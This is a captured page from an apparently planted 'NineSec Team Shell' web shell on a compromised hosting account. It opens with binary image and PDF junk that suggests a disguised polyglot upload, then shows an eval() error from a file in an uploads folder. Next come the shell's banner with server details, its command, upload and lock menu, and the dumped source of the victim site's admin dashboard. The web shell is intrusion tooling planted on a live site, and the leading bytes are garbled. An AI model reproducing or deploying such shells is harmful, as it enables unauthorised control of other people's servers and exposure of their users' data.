JFIF``;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90 C  %PDF-1.3 % 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream x\mo7 a?Hyi{$E(i?ckrAvEzFHI|H?{|Z|X|Ň77?Oݞ__lOя77wx'?Ű8I] gQB2za]l|ɇ՟?} " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress
Warning: file_get_contents(test.txt): Failed to open stream: No such file or directory in /home/u178500310/domains/princess.uaeclick.com/public_html/uploads/1770357389_0_197006009.php(44) : eval()'d code on line 6
NineSec Team Shell
NineSec Team Shell
Server IP : 82.25.113.252  /  Your IP : 216.73.216.172
Web Server : LiteSpeed
System : Linux fr-int-web2058.main-hosting.eu 5.14.0-570.62.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 10:10:59 EST 2025 x86_64
User : u178500310 ( 178500310)
PHP Version : 8.2.29
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u178500310/domains/princess.uaeclick.com/public_html/admin/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/u178500310/domains/princess.uaeclick.com/public_html/admin/index.php
<?php
session_start();
require_once '../config/database.php';
require_once '../includes/functions.php';

// Check if user is logged in and is admin
if (!isLoggedIn() || !isAdmin()) {
    header('Location: ../login.php');
    exit();
}

// Get statistics
$users_count = $pdo->query("SELECT COUNT(*) FROM users")->fetchColumn();
$events_count = $pdo->query("SELECT COUNT(*) FROM events")->fetchColumn();
$registrations_count = $pdo->query("SELECT COUNT(*) FROM registrations")->fetchColumn();
$gallery_count = $pdo->query("SELECT COUNT(*) FROM gallery")->fetchColumn();
$unread_messages_count = $pdo->query("SELECT COUNT(*) FROM messages WHERE is_read = 0")->fetchColumn();

// Get recent registrations
$recent_registrations = $pdo->query("SELECT r.*, u.first_name, u.last_name, u.email, e.title as event_title 
                                   FROM registrations r 
                                   JOIN users u ON r.user_id = u.id 
                                   JOIN events e ON r.event_id = e.id 
                                   ORDER BY r.registration_date DESC LIMIT 5")->fetchAll(PDO::FETCH_ASSOC);

// Get recent messages
$recent_messages = $pdo->query("SELECT m.*, u.first_name, u.last_name 
                              FROM messages m 
                              JOIN users u ON m.user_id = u.id 
                              ORDER BY m.created_at DESC LIMIT 5")->fetchAll(PDO::FETCH_ASSOC);
?>

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Admin Panel - Royal Love 777</title>
    <link rel="stylesheet" href="../css/style.css">
    <style>
        .stats-grid {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
            gap: 20px;
            margin-bottom: 30px;
        }
        .stat-card {
            background: white;
            padding: 20px;
            border-radius: 10px;
            box-shadow: 0 2px 10px rgba(0,0,0,0.1);
            text-align: center;
        }
        .stat-number {
            font-size: 2.5em;
            font-weight: bold;
            color: #007bff;
            margin-bottom: 10px;
        }
        .card {
            background: white;
            padding: 20px;
            border-radius: 10px;
            box-shadow: 0 2px 10px rgba(0,0,0,0.1);
            margin-bottom: 20px;
        }
        .data-table {
            width: 100%;
            border-collapse: collapse;
            margin-top: 15px;
        }
        .data-table th, .data-table td {
            padding: 12px;
            text-align: left;
            border-bottom: 1px solid #ddd;
        }
        .data-table th {
            background-color: #f8f9fa;
            font-weight: bold;
        }
        .admin-container {
            display: flex;
            min-height: calc(100vh - 150px);
        }
        .admin-sidebar {
            width: 250px;
            background: #2c3e50;
            color: white;
            padding: 20px 0;
        }
        .admin-sidebar ul {
            list-style: none;
            padding: 0;
            margin: 0;
        }
        .admin-sidebar li {
            margin: 0;
        }
        .admin-sidebar a {
            display: block;
            padding: 15px 20px;
            color: white;
            text-decoration: none;
            transition: background 0.3s;
        }
        .admin-sidebar a:hover, .admin-sidebar a.active {
            background: #34495e;
        }
        .admin-content {
            flex: 1;
            padding: 20px;
            background: #f8f9fa;
        }
        .badge {
            padding: 3px 8px;
            border-radius: 12px;
            font-size: 0.8em;
        }
        .bg-danger { background: #dc3545; color: white; }
        .bg-success { background: #28a745; color: white; }
        .bg-warning { background: #ffc107; color: black; }
    </style>
</head>
<body>
    <?php include '../includes/header.php'; ?>
    
    <div class="admin-container">
        <div class="admin-sidebar">
            <ul>
                <li><a href="index.php" class="active">Dashboard</a></li>
                <li><a href="users.php">Users</a></li>
                <li><a href="events.php">Events</a></li>
                <li><a href="registrations.php">Registrations</a></li>
                <li><a href="gallery.php">Gallery</a></li>
                <li><a href="messages.php">Messages 
                    <?php if($unread_messages_count > 0): ?>
                        <span class="badge bg-danger"><?php echo $unread_messages_count; ?></span>
                    <?php endif; ?>
                </a></li>
                <li><a href="send_message.php">Send Message to All</a></li>
            </ul>
        </div>
        
        <div class="admin-content">
            <h2>Admin Dashboard</h2>
            <p>Welcome to the admin panel, <?php echo $_SESSION['user_name']; ?>!</p>
            
            <div class="stats-grid">
                <div class="stat-card">
                    <div class="stat-number"><?php echo $users_count; ?></div>
                    <div>Total Users</div>
                </div>
                <div class="stat-card">
                    <div class="stat-number"><?php echo $events_count; ?></div>
                    <div>Events</div>
                </div>
                <div class="stat-card">
                    <div class="stat-number"><?php echo $registrations_count; ?></div>
                    <div>Registrations</div>
                </div>
                <div class="stat-card">
                    <div class="stat-number"><?php echo $gallery_count; ?></div>
                    <div>Gallery Items</div>
                </div>
            </div>
            
            <div class="row">
                <div class="col-md-6">
                    <div class="card">
                        <h3>Recent Registrations</h3>
                        <?php if (empty($recent_registrations)): ?>
                            <p>No registrations yet.</p>
                        <?php else: ?>
                            <table class="data-table">
                                <thead>
                                    <tr>
                                        <th>Name</th>
                                        <th>Event</th>
                                        <th>Date</th>
                                        <th>Status</th>
                                    </tr>
                                </thead>
                                <tbody>
                                    <?php foreach ($recent_registrations as $registration): ?>
                                        <tr>
                                            <td><?php echo htmlspecialchars($registration['first_name'] . ' ' . $registration['last_name']); ?></td>
                                            <td><?php echo htmlspecialchars($registration['event_title']); ?></td>
                                            <td><?php echo date('M j, Y', strtotime($registration['registration_date'])); ?></td>
                                            <td><span class="badge bg-<?php echo $registration['status'] == 'approved' ? 'success' : 'warning'; ?>"><?php echo ucfirst($registration['status']); ?></span></td>
                                        </tr>
                                    <?php endforeach; ?>
                                </tbody>
                            </table>
                        <?php endif; ?>
                    </div>
                </div>
                
                <div class="col-md-6">
                    <div class="card">
                        <h3>Recent Messages</h3>
                        <?php if (empty($recent_messages)): ?>
                            <p>No messages sent yet.</p>
                        <?php else: ?>
                            <table class="data-table">
                                <thead>
                                    <tr>
                                        <th>To</th>
                                        <th>Subject</th>
                                        <th>Date</th>
                                        <th>Status</th>
                                    </tr>
                                </thead>
                                <tbody>
                                    <?php foreach ($recent_messages as $message): ?>
                                        <tr>
                                            <td><?php echo htmlspecialchars($message['first_name'] . ' ' . $message['last_name']); ?></td>
                                            <td><?php echo htmlspecialchars(substr($message['subject'], 0, 30)) . (strlen($message['subject']) > 30 ? '...' : ''); ?></td>
                                            <td><?php echo date('M j, Y', strtotime($message['created_at'])); ?></td>
                                            <td><span class="badge bg-<?php echo $message['is_read'] ? 'success' : 'warning'; ?>"><?php echo $message['is_read'] ? 'Read' : 'Unread'; ?></span></td>
                                        </tr>
                                    <?php endforeach; ?>
                                </tbody>
                            </table>
                        <?php endif; ?>
                        <div style="margin-top: 15px;">
                            <a href="messages.php" class="btn btn-primary">View All Messages</a>
                            <a href="send_message.php" class="btn btn-success">Send New Message</a>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
    
    <?php include '../includes/footer.php'; ?>
</body>
</html>

NineSec Team - 2022